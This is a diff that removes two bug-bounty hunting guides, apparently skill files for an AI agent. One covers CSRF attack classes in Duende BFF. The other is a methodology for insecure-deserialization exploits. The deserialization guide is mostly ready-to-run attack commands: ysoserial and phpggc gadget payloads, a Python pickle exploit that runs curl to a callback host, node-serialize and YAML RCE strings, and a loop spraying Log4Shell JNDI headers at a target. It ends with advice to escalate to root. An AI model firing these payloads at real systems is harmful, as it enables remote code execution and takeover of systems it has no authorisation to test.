- - Year: 2022 — informational scope on H1 self-program, but public PoC
329
-
330
- ---
331
-
332
- ## Duende BFF — Role-Partitioned Antiforgery (2024-2026 surface)
333
-
334
- Duende BFF (commercial successor to IdentityServer4) is the canonical ASP.NET Core BFF library for SPAs. Its antiforgery primitive is **non-standard and not user-bound**: instead of ASP.NET Core's per-session/per-user double-submit token, Duende only requires the presence of a **static header `X-CSRF: 1`** on every BFF-mapped endpoint. The header value is identical for every caller; it exists only to force a CORS preflight on cross-origin calls. This collapses CSRF defence to "same-origin + session cookie present" — and produces several distinct attack patterns when one BFF serves multiple privilege partitions.
335
-
336
- **Architecture primer:** browser↔BFF authenticates via an encrypted HttpOnly session cookie (default `.AspNetCore.Cookies`); BFF↔API uses OAuth tokens cached server-side. Endpoints registered via `MapBffManagementEndpoints` / `MapRemoteBffApiEndpoint` / `MapBffApiEndpoint` enforce `X-CSRF: 1` and session presence — nothing else. ([docs.duendesoftware.com/bff](https://docs.duendesoftware.com/bff/), [Duende blog Mar 2025](https://duendesoftware.com/blog/20250325-understanding-antiforgery-in-aspnetcore))
337
-
338
- ### Attack class 1 — `X-CSRF: 1` is not user-bound, so cross-role replay succeeds same-origin
339
-
340
- When a single BFF serves `/admin/*` and `/user/*` partitions, the antiforgery primitive cannot distinguish role-A from role-B. Any same-origin script that can land an XHR with `X-CSRF: 1` and the victim's session cookie reaches admin endpoints if the victim has the admin role. Stock ASP.NET Core antiforgery (which binds the token to `HttpContext.User.Identity.Name` and rejects on identity change) does the right thing here; Duende BFF does not. ([docs.duendesoftware.com/bff/fundamentals/options](https://docs.duendesoftware.com/bff/fundamentals/options/))
341
-
342
- **Payload shape:** from a logged-in low-priv session, `fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}})` — succeeds if the victim's session happens to hold the admin role and the attacker can land any same-origin script (self-XSS, subdomain-takeover JS, dependency-confusion).
343
-
344
- ### Attack class 2 — SignalR/WebSocket carve-out (the `/negotiate` shortcut)
345
-
346
- Browser WebSockets cannot send custom headers, so `X-CSRF: 1` cannot be enforced on the upgrade. Developers routinely work around this by **excluding SignalR hub paths from BFF antiforgery** (`MapHub<X>().DisableAntiforgery()` or registering them as non-BFF endpoints). Once excluded, any same-site origin (including a takenover sibling subdomain or a stored-XSS page) can open the WS with the ambient session cookie → CSRF-over-WebSocket to invoke hub methods that mutate state.
347
-
348
- **Payload shape:** cross-origin page opens `new WebSocket("wss://bff.example.com/hubs/admin")` — browser sends session cookie, no `X-CSRF` required, attacker invokes `DeleteUser(id)` via standard SignalR JSON frame. ([DuendeArchive/Support#972](https://github.com/DuendeArchive/Support/issues/972), [learn.microsoft.com/aspnet/core/signalr/security](https://learn.microsoft.com/en-us/aspnet/core/signalr/security))
349
-
350
- ### Attack class 3 — Cookie-domain wildcarding turns subdomain takeover into session fixation
351
-
352
- BFF session cookies default to host-only, but developers commonly override with `options.Cookie.Domain = ".example.com"` to share login across `app.example.com` and `admin.example.com`. This drops the `__Host-` prefix protection. Take over `legacy.example.com` (CNAME to deprovisioned Heroku/S3) → set `Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com` → victim hits `app.example.com` carrying attacker's session = session-fixation ATO. ([nestenius.se BFF cookie hardening](https://nestenius.se/net/bff-in-asp-net-core-3-the-bff-pattern-explained/))
353
-
354
- ### Evidence strength
355
-
356
- No Duende.BFF-direct CVE exists as of 2026-05. The three classes above are **design-level / documented behaviour** that becomes a live finding when paired with a co-resident primitive (same-origin script execution, SignalR carve-out, or subdomain takeover). Report severity should lean on the chain's business impact rather than CVE citation. Adjacent confirmed CVEs in the Duende ecosystem: CVE-2025-26620 (`Duende.AccessTokenManagement` race), CVE-2024-51987 (`Duende.AccessTokenManagement.OpenIdConnect` incorrect-token-after-refresh), CVE-2024-39694 (`Duende.IdentityServer` open redirect). ([Duende advisories on GitHub](https://github.com/advisories?query=duende))
357
-
358
- ### Hunting checklist
359
-
360
- 1. `curl https://target/bff/user -H 'X-CSRF: 1' -b '<session>'` — dumps the full claim set including internal IDs, role names, tenant IDs (info disclosure on its own).
361
- 2. Inspect `Set-Cookie` on `/bff/login` callback — flag `Domain=` attribute (vs `__Host-` prefix); flag missing `Secure`/`HttpOnly`.
362
- 3. From a low-priv session, replay admin-partition POSTs with `X-CSRF: 1` to confirm no per-role token binding.
363
- 4. Enumerate SignalR/WS hubs (`/hubs/*`, `/signalr/*`) — open without `X-CSRF`; if 101 Switching Protocols, CSWSH-style attacks viable.
364
- 5. Subdomain inventory + DNS-takeover scan for any `*.example.com` if BFF cookie has `Domain=.example.com`.
365
-
366
- ---
367
-
368
- ## Related Skills & Chains
369
-
370
- - **`hunt-xss`** — Any XSS on a trusted origin neutralizes CSRF defenses (token, SameSite, Origin check) instantly. Chain primitive: XSS reads the `meta[name=csrf-token]` value and same-origin-fetches `/accounts/email` with attacker payload → one-click ATO via attacker-page postMessage triggering the stored XSS to perform the state change.
371
- - **`hunt-auth-bypass`** — CSRF combined with an auth-bypass primitive lets attacker-side scripts perform state changes that should have required step-up auth. Chain primitive: CSRF on `/settings/password` reaches an endpoint that skips the re-auth check → password change executes without the victim ever entering their current password → ATO.
372
- - **`hunt-oauth`** — OAuth/SAML `state`/`RelayState` is structurally a CSRF token; missing validation here is account-linking CSRF. Chain primitive: attacker initiates OAuth on their account, sends victim the `/callback?code=X&state=` URL → victim's logged-in browser completes the link → attacker's social identity now controls victim's account.
373
- - **`security-arsenal`** — Reach for the CSRF PoC templates (form POST, `enctype=text/plain` JSON, sandboxed-iframe null-origin, base64 multipart bypass) before writing one from scratch; also the WAF-bypass header variants for Origin/Referer checks.
374
- - **`triage-validation`** — Run the Pre-Severity Gate before submitting CSRF on a logout endpoint or any action without state-change consequence — those are the canonical N/A traps. Confirm victim LOSES something concrete (account access, money, data), not just "a request executed."
@@ -1,178 +0,0 @@
1
- ---
2
- name: hunt-deserialization
3
- description: Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
4
- sources: hackerone_public
5
- report_count: 22
6
- ---
7
-
8
- # HUNT-DESERIALIZATION — Insecure Deserialization
9
-
10
- ## Crown Jewel Targets
11
-
12
- Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
13
-
14
- **Highest-value chains:**
15
- - **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
16
- - **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
17
- - **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
18
- - **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
19
- - **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
20
- - **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
21
-
22
- ---
23
-
24
- ## Attack Surface Signals
25
-
26
- ### Detection Patterns
27
- ```bash
28
- # Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
29
- echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
30
-
31
- # PHP serialization: O:8:"stdClass":0:{}
32
- # Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
33
-
34
- # Apache Shiro: rememberMe cookie present
35
- curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
36
-
37
- # Log4j: test user-controlled fields for JNDI interpolation
38
- curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
39
- ```
40
-
41
- ### Header / Cookie Signals
42
- ```
43
- Content-Type: application/x-java-serialized-object
44
- Cookie containing rO0= prefix (Java base64 serialized)
45
- Cookie: rememberMe= (Apache Shiro)
46
- Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
47
- Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
48
- ```
49
-
50
- ---
51
-
52
- ## Step-by-Step Hunting Methodology
53
-
54
- ### Phase 1 — Java Deserialization (ysoserial)
55
- ```bash
56
- # Install ysoserial
57
- wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
58
-
59
- # Generate OOB detection payload
60
- java -jar ysoserial-all.jar CommonsCollections6 \
61
- 'curl http://COLLAB_HOST/ysoserial' | base64 -w0
62
-
63
- # Send as body or cookie
64
- java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
65
- curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
66
- -H "Content-Type: application/x-java-serialized-object" \
67
- --data-binary @-
68
-
69
- # Apache Shiro exploit (default AES key)
70
- python3 shiro_exploit.py -u https://$TARGET/ -c "id"
71
- ```
72
-
73
- ### Phase 2 — PHP Object Injection
74
- ```bash
75
- # Find unserialize() calls in source
76
- grep -r "unserialize(" --include="*.php" .
77
-
78
- # Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
79
- # Send in cookie, POST param, or hidden form field
80
- # If error changes → deserialization confirmed
81
-
82
- # Craft gadget chain using phpggc
83
- git clone https://github.com/ambionics/phpggc
84
- php phpggc -l # list chains
85
- php phpggc Laravel/RCE5 system id | base64
86
- ```
87
-
88
- ### Phase 3 — Python Pickle
89
- ```bash
90
- # Generate OOB payload
91
- python3 -c "
92
- import pickle, os, base64
93
- class Exploit(object):
94
- def __reduce__(self):
95
- return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
96
- print(base64.b64encode(pickle.dumps(Exploit())).decode())
97
- "
98
-
99
- # Send as cookie or POST body
100
- curl -s https://$TARGET/api/load-model \
101
- -H "Content-Type: application/octet-stream" \
102
- --data-binary @payload.pkl
103
- ```
104
-
105
- ### Phase 3b — PHP phar://, Python YAML, Node deserialization
106
- - **PHP phar:// (no `unserialize()` call)** — any filesystem function (`file_exists`/`fopen`/`getimagesize`) on a `phar://` path deserializes the archive metadata -> object injection with zero `unserialize()` in code.
107
- ```bash
108
- phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot
109
- # then reach phar://uploads/poly.jpg/x via any fs call
110
- ```
111
- - **Python `yaml.load()` (CVE-2017-18342)** — pre-5.1 default-unsafe:
112
- `!!python/object/apply:os.system ['curl http://$COLLAB/yaml']`
113
- - **Node `node-serialize` (CVE-2017-5941)** — IIFE marker in any field passed to `unserialize()`:
114
- `{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}`
115
-
116
- ### Phase 4 — .NET ViewState
117
- ```bash
118
- # Check if ViewState is unsigned (MAC disabled)
119
- # Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
120
-
121
- # YSoSerial.Net
122
- dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
123
- -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
124
- ```
125
-
126
- ### Phase 5 — Log4Shell / JNDI
127
- ```bash
128
- # Test all user-controlled inputs
129
- COLLAB="COLLAB_HOST"
130
- for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
131
- curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
132
- done
133
-
134
- # Test POST body fields
135
- curl -s -X POST https://$TARGET/api/login \
136
- -H "Content-Type: application/json" \
137
- -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
138
- ```
139
-
140
- ### Phase 6 — Ruby Marshal
141
- ```bash
142
- # Look for Marshal.load in source
143
- grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
144
-
145
- # Gem::Requirement gadget chain via marshalable objects
146
- # Use ruby-advisory-db gadgets
147
- ```
148
-
149
- ---
150
-
151
- ## Chain Table
152
-
153
- | Deserialization signal | Chain to | Impact |
154
- |-----------------------|----------|--------|
155
- | Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
156
- | RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
157
- | Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
158
- | Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
159
-
160
- ---
161
-
162
- ## Automation
163
- ```bash
164
- # OOB listener
165
- interactsh-client -v -n 5
166
-
167
- # JNDI exploit kit
168
- git clone https://github.com/pimps/JNDI-Exploit-Kit
169
- ```
170
-
171
- ---
172
-
173
- ## Validation
174
-
175
- ✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed
176
- ✅ Command output in response: full RCE confirmed
177
-
178
- **Severity:** Almost always **Critical** — RCE with server process privileges.